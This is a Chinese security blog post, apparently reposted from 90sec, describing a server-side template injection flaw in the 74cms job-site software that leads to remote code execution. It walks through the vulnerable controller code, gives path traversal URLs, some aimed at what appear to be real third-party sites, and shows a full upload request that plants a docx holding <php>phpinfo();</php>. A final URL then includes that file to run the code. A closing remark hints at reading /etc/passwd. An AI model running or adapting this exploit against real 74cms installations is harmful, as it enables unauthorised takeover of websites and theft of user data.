74cms前台某处Getshell漏洞(SSTI)

没穿底裤 2020年1月1日04:13:56评论665 views字数 2945阅读9分49秒阅读模式
摘要

from:90sec这是一个服务端模板注入漏洞。Application/Home/Controller/MController.class.php

from:90sec

这是一个服务端模板注入漏洞。

Application/Home/Controller/MController.class.php

<?php namespace Home/Controller; use Common/Controller/FrontendController; class MController extends FrontendController{         public function index(){                 if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){             redirect(build_mobile_url());                 }         $type = I('get.type','android','trim');         $android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';         $ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';         $this->assign('android_download_url',$android_download_url);         $this->assign('ios_download_url',$ios_download_url);         $this->assign('type',$type);         $this->display('M/'.$type);     } } ?>

 
可见这里将`$type`传入display函数,display函数是ThinkPHP中展示模板的函数。跟进了几个函数,进入了View类的display函数:

<?php public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {     G('viewStartTime');     // 视图开始标签     Hook::listen('view_begin',$templateFile);     // 解析并获取模板内容     $content = $this->fetch($templateFile,$content,$prefix);     // 输出模板内容     $this->render($content,$charset,$contentType);     // 视图结束标签     Hook::listen('view_end'); }

 

可见,这里拿到了`$templateFile`并传入fetch函数,将fetch的结果交给render函数。这两个函数,fetch是将文件内容获取到,render是使用ThinkPHP的模板引擎渲染之。

拿favicon.ico一下,已经成功包含:

```
http://enshijob.com/index.php?m=&c=M&a=index&type=../favicon.ico
http://118.178.58.235/index.php? ... type=../favicon.ico
```

74cms前台某处Getshell漏洞(SSTI)

漏洞利用

那么,这个漏洞如何利用?因为type的值是作为display函数的参数传入的,所以实际上这个漏洞可以理解为“模板引擎注入”,我们现在控制了模板的文件目录,现在只需要上传一个内容符合ThinkPHP模板格式的文件,再作为type的值即可。

查看ThinkPHP文档:

74cms前台某处Getshell漏洞(SSTI)

可知,要使用原生PHP代码的话,只需要将代码包含在`<php>`标签内即可。

74cms里,个人用户创建简历后支持上传docx格式的简历。我们上传一个包含`<php>...</php>`的docx文件,将其作为模板。数据包如下:

POST /74cms/index.php?m=home&c=upload&a=attach HTTP/1.1 Host: vm.cn Connection: keep-alive Content-Length: 312 Origin: 
X-Requested-With: ShockwaveFlash/24.0.0.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36 Content-Type: multipart/form-data; boundary=--------2128837275 Accept: */* Referer: [flash]http://vm.cn/74cms/Application/Home/View/default/public/flash/resumelogo.swf[/flash] Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Cookie: think_language=zh-CN; PHPSESSID=6flqnh1g74dn7evi6ian92svj1; think_template=default; _qscms248c1a17aab7f0782be7d60121529404=think%3A%7B%229871d3a2c554b27151cacf1422eec048%22%3A%221%22%2C%225f4dcc3b5aa765d61d8327deb882cf99%22%3A%22b1630387ccdeb8a5d40a94fcbffabe29%22%7D; think_template=default RC4-KEY: I0zqA1Idug6HwMRSNqRDGGOsn3T8GWl2 ----------2128837275 Content-Disposition: form-data; name="type"; word_resume ----------2128837275 Content-Disposition: form-data; name="pid"; 1 ----------2128837275 Content-Disposition: form-data; name="word_resume"; filename="1.docx"; <php>phpinfo(); </php> ----------2128837275--

 

pid是简历id,word_resume就是包含模板的文件。上传成功,获取文件名:

74cms前台某处Getshell漏洞(SSTI)

再将这个文件名作为type的值,成功执行代码:

http://vm.cn/74cms/index.php?m=& ... /58a442fca3f70.docx

74cms前台某处Getshell漏洞(SSTI)
ps
最后说一下,这个文件判断存在的时候,linux下可能会有点问题,因为is_file这个函数遇到"M/../../../etc/passwd"这样的文件路径,只要M不存在就会返回false,没细研究具体的内容,有心的同学可以研究一下发出来。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日04:13:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   74cms前台某处Getshell漏洞(SSTI)https://cn-sec.com/archives/77040.html

发表评论

匿名网友 填写信息